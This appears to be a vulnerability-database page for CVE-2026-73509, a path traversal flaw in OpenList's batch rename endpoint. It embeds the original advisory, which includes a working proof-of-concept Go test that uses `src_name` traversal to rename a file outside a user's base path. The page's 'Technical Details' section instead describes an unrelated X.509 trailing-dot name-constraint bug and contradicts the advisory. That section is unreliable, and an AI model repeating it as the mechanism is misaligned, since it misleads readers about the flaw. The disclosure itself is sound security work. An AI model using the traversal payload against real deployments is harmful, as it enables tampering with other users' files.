CVE-2026-73509: OpenList Authenticated Users Can Rename Files Vulnerability
HIGHCVE-2026-73509 is a HIGH (CVSS 7.6) authenticated users can rename files vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting OpenList libraries in the Go ecosystem. The issue involves authenticated users can rename files outside their base path via batch rename `src_name` traversal. Remediation is available by upgrading affected packages to version 4.2.4.
CVE-2026-73509 at a Glance
Security Impact
CVSS: 7.6
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L).
How to Fix CVE-2026-73509
To remediate this vulnerability, upgrade all affected OpenList dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/OpenListTeam/OpenList/v4 to 4.2.4
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/OpenListTeam/OpenList/v4
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-73509, inspect your project dependencies for OpenList:
inspect dependencies for github.com/OpenListTeam/OpenList/v4
Analyze the terminal output to locate any version of OpenList in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.2.4), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & RFC 5280 Specification
Under RFC 5280 specifications for X.509 certificates, the Name Constraints extension defines a namespace within which all subsequent subject names in a certification path must be located. Constraints apply to various name forms including directory names, IP addresses, rfc822Name (email addresses), and uniformResourceIdentifier (URI) entries. Specifically, during certificate path validation, affected versions of OpenList failed to properly normalize or enforce boundary checks when domain names contained trailing dot (.) characters. Because domain names with a trailing dot signify fully qualified domain names (FQDNs), this omission allowed non-conforming certificates to be improperly validated as compliant with the defined name constraints.
Source Advisory Statement
CVE-2026-73509 Affected OpenList Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/OpenListTeam/OpenList/v4
|
Go |
< 4.2.4
|
4.2.4
|
References
Frequently Asked Questions
What is CVE-2026-73509?
Which OpenList versions are affected?
What version fixes CVE-2026-73509?
Is github.com/OpenListTeam/OpenList/v4 affected?
What is the CVSS score of CVE-2026-73509?
What CWE is associated with CVE-2026-73509?
How can I check Go dependencies for CVE-2026-73509?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-95cv-r8x4-vh75",
"modified" : "2026-08-13T14:31:12Z",
"published" : "2026-07-24T22:29:08Z",
"aliases" : [ "CVE-2026-73509" ],
"summary" : "OpenList: Authenticated users can rename files outside their base path via batch rename `src_name` traversal",
"details" : "### Summary\n\nThe `/api/fs/batch_rename` handler validates and authorizes only the requested source directory. It rejects path separators in `new_name`, but it does not validate `src_name`. The handler concatenates `src_dir` and attacker-controlled `src_name`, then passes the result to the filesystem rename layer, where the path is normalized.\n\nAn authenticated user with rename permission can set `src_name` to traversal segments such as `../../ab/secret.txt`. When the user's base path is `/team/a` and `src_dir` is `/writable`, the authorized directory becomes `/team/a/writable`, but the final source path normalizes to `/team/ab/secret.txt`. The file outside the user's base path is then renamed.\n\n### Details\n\nThe HTTP API registers filesystem management routes under the authenticated group:\n\n- `server/router.go:104` registers `_fs(auth.Group(\"/fs\"))`.\n- `server/router.go:198` through `server/router.go:205` expose `/api/fs/batch_rename`.\n\nThe vulnerable code is in `server/handles/fsbatch.go`:\n\n- `src_dir` is constrained through `user.JoinPath(req.SrcDir)` (`server/handles/fsbatch.go:170` through `server/handles/fsbatch.go:174`).\n- Write permission is checked only for that constrained directory (`server/handles/fsbatch.go:176` through `server/handles/fsbatch.go:185`).\n- The loop checks `renameObject.NewName` with `checkRelativePath`, but does not check `renameObject.SrcName` (`server/handles/fsbatch.go:186` through `server/handles/fsbatch.go:194`).\n- The handler builds `filePath := fmt.Sprintf(\"%s/%s\", reqPath, renameObject.SrcName)` and passes it to `fs.Rename` (`server/handles/fsbatch.go:195` through `server/handles/fsbatch.go:196`).\n\nThe single-file rename path shows the intended pattern: `checkRelativePath(req.Name)` rejects separators, empty strings, `.`, and `..` before renaming (`server/handles/fsmanage.go:284` through `server/handles/fsmanage.go:333`). Batch rename applies this protection to the destination name only, not to the source name.\n\nLower layers normalize the source path before operating on it:\n\n- `utils.FixAndCleanPath` replaces backslashes with slashes, forces an absolute slash prefix, and calls `path.Clean` (`pkg/utils/path.go:18` through `pkg/utils/path.go:24`).\n- `JoinBasePath` rejects traversal in the original `src_dir`, not in the later concatenated `src_name` (`pkg/utils/path.go:80` through `pkg/utils/path.go:87`).\n\nFalse-positive checks performed:\n\n- The user in the PoC had only normal authenticated user role plus rename permission, not admin role.\n- The handler successfully authorized `/team/a/writable`, then renamed `/team/ab/secret.txt`, proving that the later source path escaped the authorized directory.\n- `new_name` validation remained in effect; the exploit uses traversal only in `src_name`.\n- The test checked the original sibling file disappeared and the renamed sibling file contained the same contents.\n\n### PoC\n\nSafe local reproduction used a temporary in-memory sqlite database and temporary Local storage root. No external services were contacted by the PoC route; Go dependency/toolchain downloads may occur if the environment lacks cached modules.\n\nAdd this temporary test under `server/handles/security_poc_test.go` in a clean checkout of the tested commit. If also testing the share finding, the helper functions can be shared between the two tests.\n\n```go\npackage handles\n\nimport (\n \"bytes\"\n \"context\"\n \"encoding/json\"\n \"net/http\"\n \"net/http/httptest\"\n \"os\"\n \"path/filepath\"\n \"strings\"\n \"testing\"\n\n _ \"github.com/OpenListTeam/OpenList/v4/drivers/local\"\n \"github.com/OpenListTeam/OpenList/v4/internal/conf\"\n \"github.com/OpenListTeam/OpenList/v4/internal/db\"\n \"github.com/OpenListTeam/OpenList/v4/internal/model\"\n \"github.com/OpenListTeam/OpenList/v4/internal/op\"\n \"github.com/OpenListTeam/OpenList/v4/pkg/utils\"\n \"github.com/gin-gonic/gin\"\n \"github.com/glebarez/sqlite\"\n \"gorm.io/gorm\"\n)\n\nfunc setupSecurityPoCTest(t *testing.T, root string) *model.User {\n t.Helper()\n database, err := gorm.Open(sqlite.Open(\"file:\"+t.Name()+\"?mode=memory&cache=shared\"), &gorm.Config{})\n if err != nil {\n t.Fatal(err)\n }\n conf.Conf = conf.DefaultConfig(t.TempDir())\n db.Init(database)\n\n addition, err := utils.Json.MarshalToString(map[string]string{\"root_folder_path\": root})\n if err != nil {\n t.Fatal(err)\n }\n _, err = op.CreateStorage(context.Background(), model.Storage{Driver: \"Local\", MountPath: \"/\", Addition: addition})\n if err != nil {\n t.Fatal(err)\n }\n\n user := &model.User{\n Username: \"alice\",\n BasePath: \"/team/a\",\n Role: model.GENERAL,\n Permission: 1<<4 | 1<<14,\n }\n if err := db.CreateUser(user); err != nil {\n t.Fatal(err)\n }\n return user\n}\n\nfunc requestWithUser(t *testing.T, method, target string, body any, user *model.User) (*gin.Context, *httptest.ResponseRecorder) {\n t.Helper()\n payload, err := json.Marshal(body)\n if err != nil {\n t.Fatal(err)\n }\n recorder := httptest.NewRecorder()\n ctx, _ := gin.CreateTestContext(recorder)\n req := httptest.NewRequest(method, target, bytes.NewReader(payload))\n req.Header.Set(\"Content-Type\", \"application/json\")\n req = req.WithContext(context.WithValue(req.Context(), conf.UserKey, user))\n ctx.Request = req\n return ctx, recorder\n}\n\nfunc TestPOCBatchRenameSrcNameTraversalEscapesUserBase(t *testing.T) {\n gin.SetMode(gin.TestMode)\n root := t.TempDir()\n if err := os.MkdirAll(filepath.Join(root, \"team\", \"a\", \"writable\"), 0o700); err != nil {\n t.Fatal(err)\n }\n if err := os.MkdirAll(filepath.Join(root, \"team\", \"ab\"), 0o700); err != nil {\n t.Fatal(err)\n }\n secretPath := filepath.Join(root, \"team\", \"ab\", \"secret.txt\")\n if err := os.WriteFile(secretPath, []byte(\"secret\"), 0o600); err != nil {\n t.Fatal(err)\n }\n user := setupSecurityPoCTest(t, root)\n\n ctx, recorder := requestWithUser(t, http.MethodPost, \"/api/fs/batch_rename\", gin.H{\n \"src_dir\": \"/writable\",\n \"rename_objects\": []gin.H{{\n \"src_name\": \"../../ab/secret.txt\",\n \"new_name\": \"renamed.txt\",\n }},\n }, user)\n FsBatchRename(ctx)\n\n if recorder.Code != http.StatusOK || !strings.Contains(recorder.Body.String(), `\"code\":200`) {\n t.Fatalf(\"expected batch rename success, status=%d body=%s\", recorder.Code, recorder.Body.String())\n }\n if _, err := os.Stat(secretPath); !os.IsNotExist(err) {\n t.Fatalf(\"expected original sibling file to be renamed, stat err=%v\", err)\n }\n renamedPath := filepath.Join(root, \"team\", \"ab\", \"renamed.txt\")\n got, err := os.ReadFile(renamedPath)\n if err != nil {\n t.Fatalf(\"expected renamed sibling file at %s: %v\", renamedPath, err)\n }\n if string(got) != \"secret\" {\n t.Fatalf(\"unexpected renamed file contents: %q\", got)\n }\n}\n```\n\nRun:\n\n```bash\ngo test ./server/handles -run TestPOCBatchRenameSrcNameTraversalEscapesUserBase -v\n```\n\nObserved vulnerable output in this environment:\n\n```text\n=== RUN TestPOCBatchRenameSrcNameTraversalEscapesUserBase\n--- PASS: TestPOCBatchRenameSrcNameTraversalEscapesUserBase (0.01s)\nPASS\nok \tgithub.com/OpenListTeam/OpenList/v4/server/handles\n```\n\nCombined final confirmation command used during the audit:\n\n```bash\ngo test ./server/handles -run 'TestPOC(ShareCreateAcceptsSiblingPathOutsideUserBase|BatchRenameSrcNameTraversalEscapesUserBase)' -v\n```\n\nObserved combined output:\n\n```text\n=== RUN TestPOCShareCreateAcceptsSiblingPathOutsideUserBase\n--- PASS: TestPOCShareCreateAcceptsSiblingPathOutsideUserBase (0.01s)\n=== RUN TestPOCBatchRenameSrcNameTraversalEscapesUserBase\n--- PASS: TestPOCBatchRenameSrcNameTraversalEscapesUserBase (0.01s)\nPASS\nok \tgithub.com/OpenListTeam/OpenList/v4/server/handles\t(cached)\n```\n\nNegative/control cases checked:\n\n- `src_dir` traversal is rejected by `user.JoinPath` because `JoinBasePath` detects relative traversal in the original request path.\n- `new_name` traversal is rejected by `checkRelativePath` because it contains `/`, `\\\\`, `.`, or `..` patterns.\n- The exploit succeeds because `src_name` is not passed through the same relative filename check before concatenation.\n\nCleanup:\n\n```bash\nrm server/handles/security_poc_test.go\n```\n\n### Impact\n\nA restricted authenticated user can rename files outside the authorized source directory and outside their configured base path. In a multi-user deployment, a user confined to `/team/a` can rename a guessed sibling file such as `/team/ab/secret.txt` to `/team/ab/renamed.txt` by submitting traversal segments in `src_name`.\n\nThis is an integrity violation against other users' files. It can also cause limited availability impact by moving files away from expected names, and it may reveal whether guessed out-of-base files exist based on success or error responses.\n\n### Suggested remediation\n\nValidate `renameObject.SrcName` with the same relative filename constraints already applied to `renameObject.NewName`, or derive source objects only from a trusted directory listing of `reqPath`.\n\nA minimal fix is to call `checkRelativePath(renameObject.SrcName)` before constructing `filePath`. Add regression tests covering:\n\n- `src_name: \"file.txt\"` succeeds;\n- `src_name: \"../secret.txt\"` is denied;\n- `src_name: \"../../ab/secret.txt\"` is denied when base path is `/team/a` and `src_dir` is `/writable`;\n- `new_name` traversal remains denied.\n\n### Credits\n- Thai Son Dinh from VinSOC Labs (R&D)",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/OpenListTeam/OpenList/v4"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "4.2.4"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 4.2.3"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/OpenListTeam/OpenList/security/advisories/GHSA-95cv-r8x4-vh75"
}, {
"type" : "WEB",
"url" : "https://github.com/OpenListTeam/OpenList/commit/651da18da4c647d96648d4bb64462baac1c37e04"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/OpenListTeam/OpenList"
}, {
"type" : "WEB",
"url" : "https://github.com/OpenListTeam/OpenList/releases/tag/v4.2.4"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-22" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-24T22:29:08Z",
"nvd_published_at" : null
}
}